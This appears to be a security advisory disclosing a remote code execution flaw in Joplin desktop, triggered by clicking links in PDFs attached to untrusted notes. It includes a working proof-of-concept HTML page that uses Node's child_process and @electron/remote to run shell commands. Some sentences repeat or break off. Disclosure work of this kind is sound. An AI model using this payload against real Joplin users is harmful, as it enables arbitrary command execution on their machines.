An RCE vulnerability allows clicking on a link in a PDF in an untrusted note to execute arbitrary shell commands.
Clicking links in PDFs allows for arbitrary code execution because Joplin desktop
when the "show tray icon" setting is enabled (as it is on Windows/MacOS by default).
[Click for PoC](http://127.0.0.1:8000) <-- A different URL (e.g. to the internet) could be used here
<!DOCTYPE html>
<html lang="en">
<body>
<textarea id="textarea"></textarea><button onclick="eval(textarea.value)">GO</button>
<script>
const child_proc = top.require('child_process')
// Change dir to ls if on MacOS/Linux
child_proc.exec('dir', (err, stdout) => {textarea.value= stdout + ", " + err;})
// Also show a window to show that this runs as soon as the link is clicked
// (the user doesn't have to show Joplin by clicking on the tray icon)
const remote = require('@electron/remote');
const win = new remote.BrowserWindow();
win.loadURL('http://127.0.0.1:8000/404.html')
</script>
</body>
</html>This is a remote code execution vulnerability that impacts anyone who attaches untrusted PDFs to notes and has the icon enabled.
Summary
An RCE vulnerability allows clicking on a link in a PDF in an untrusted note to execute arbitrary shell commands.
Details
Clicking links in PDFs allows for arbitrary code execution because Joplin desktop
This code
joplin/packages/app-desktop/main-html.js
Lines 33 to 40 in 2d06fd9
added after fixing a similar vulnerability does not prevent arbitrary code execution when the "show tray icon" setting is enabled (as it is on Windows/MacOS by default).
PoC
index.html:python3 -m http.server) serving on port 8000 in that directoryImpact
This is a remote code execution vulnerability that impacts anyone who attaches untrusted PDFs to notes and has the icon enabled.